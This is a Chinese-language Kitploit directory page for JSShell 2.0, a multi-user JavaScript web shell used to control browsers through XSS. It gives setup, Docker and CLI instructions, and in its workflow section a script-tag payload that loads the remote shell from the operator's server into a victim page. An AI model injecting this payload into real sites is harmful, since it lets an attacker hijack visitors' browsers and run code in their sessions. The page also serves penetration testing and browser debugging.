Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
JSShell — 一个交互式多用户Web JS Shell | Kitploit
工具/GitHubGitHub/den1al/jsshell
漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubden1al/jsshell

JSShell

一个交互式多用户Web JS Shell

查看仓库
364704年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

JSShell 2.0

made-with-python Generic badge Generic badge

一个基于 JavaScript 的交互式多用户 Web Shell。最初是为了在实验和研究期间调试远程非主流浏览器而创建的。该工具可以轻松附加到 XSS(跨站脚本)负载中,以实现浏览器远程代码执行(类似于 BeEF 框架)。

2.0 版完全从头开始创建,引入了令人兴奋的新功能、稳定性和可维护性。

版本:2.0

作者

Daniel Abeles

Shell 演示视频

asciicast

特性

  • 多客户端支持
  • 循环 DOM 对象支持
  • 预飞行脚本
  • 命令队列与上下文
  • 可通过插件扩展
  • 可通过 <script> 标签注入
  • 将命令输出转储到文件
  • Shell 分页
  • HTTPS 支持!Generic badge

安装与设置

配置文件

在 resources 目录中,使用所需的配置更新 config.json 文件:

  • 数据库主机 - 如果使用 docker 部署方式,请将数据库主机设置为 db(这是内部主机名)。
  • 返回 URL - 请求将遵循的 URL。shell.js 文件会执行一些 AJAX 调用来注册和轮询新命令。通常为 http[s]://{YOUR_SERVER_IP}:{PORT}。
  • 启动脚本 - 当 JSShell CLI 客户端生成时自动运行的脚本。
  • 域名 - 如果您希望生成 TLS 证书,这是服务器将使用的域名。
  • 如果需要,也可以指向远程数据库。

Let's Encrypt

现在 JSShell 支持 TLS,这意味着您现在可以生成 TLS 证书并将其提供给 Web 服务器。 Web 服务器将从 config.json 文件中推断域名。为了创建证书,请使用 scripts 文件夹中的 create_cert.py 脚本:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <您的域名> --email <您的邮箱>
email 字段是可选的。

请注意,Web 服务器必须关闭脚本才能正常运行。此时,我们已经成功生成了证书!我们需要做的唯一修改是:

  • 在 config.json 文件中,将 URL 字段的方案改为 https。
  • 在 docker-compose.yml 文件中,将 web 容器的暴露端口改为 443。

Docker

此新版本支持通过 docker 和 docker-compose 安装和运行 JSShell。现在,要安装并运行整个 JSShell 框架,只需运行:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

这将:

  • 在后台启动并创建数据库
  • 在后台启动处理传入连接的 Web API 服务器
  • 生成一个新的 JSShell 命令行界面容器实例

常规方式

如果您仍想使用旧式的安装方法,只需确保有一个正在运行的 MongoDB 数据库,并更新 resources 目录中的 config.json 文件。

我建议使用 pyenv 创建虚拟环境:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

或者使用 virtualenv:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

然后,安装依赖:

root@kitploit:~
$ pip install -r requirements.txt

运行

如果您使用了 docker 方式,则无需执行以下步骤。

Web 服务器

否则,在数据库设置完成后,我们需要启动 Web API 服务器。为此,运行:

root@kitploit:~
$ python manage.py web

这将创建并运行一个 Web 服务器,监听传入连接并提供我们的 JSShell 代码。

Shell

现在,要启动 JSShell CLI,运行相同的脚本,但使用 shell 标志:

root@kitploit:~
$ python manage.py shell

使用方法

完成设置并运行必要组件后,输入 help 命令查看可用命令:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                在文本编辑器中编辑文件
help                列出可用命令或提供特定命令的详细帮助
history             查看、运行、编辑、保存或清除之前输入的命令
ipy                 进入交互式 IPython shell
py                  调用 Python 命令或 shell
quit                退出此应用程序

Shell Based Operations
--------------------------------------------------------------------------------
back                取消选择当前选中的客户端
clients             列出并控制已注册到我们系统的客户端
commands            显示当前选中客户端上已执行的命令
dump                将命令转储到磁盘
execute             在选中的客户端上执行命令
select              选择一个客户端作为当前客户端

>> 

工作流程

JSShell 支持两种操作方式:

  1. 可注入 Shell(类似于 BeEF 框架)
  2. 托管 Shell(用于调试)

可注入 Shell

与其他 XSS 控制框架(如 BeEF)类似,JSShell 能够管理成功的 XSS 利用。 例如,如果您可以注入一个 script 标签,请将以下资源注入到您的负载中,一个新的客户端将会出现在您的控制台中:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

托管 Shell

如果您希望调试非主流和奇特的浏览器,只需导航到 http[s]://{YOUR_SERVER_IP}:{PORT}/,一个新的客户端就会出现在您的 JSShell CLI 客户端中。现在可以通过我们的 JSShell 控制台进行调试。

致谢

Canop 提供的 JSON.prune

请自行承担使用风险和责任。
下载工具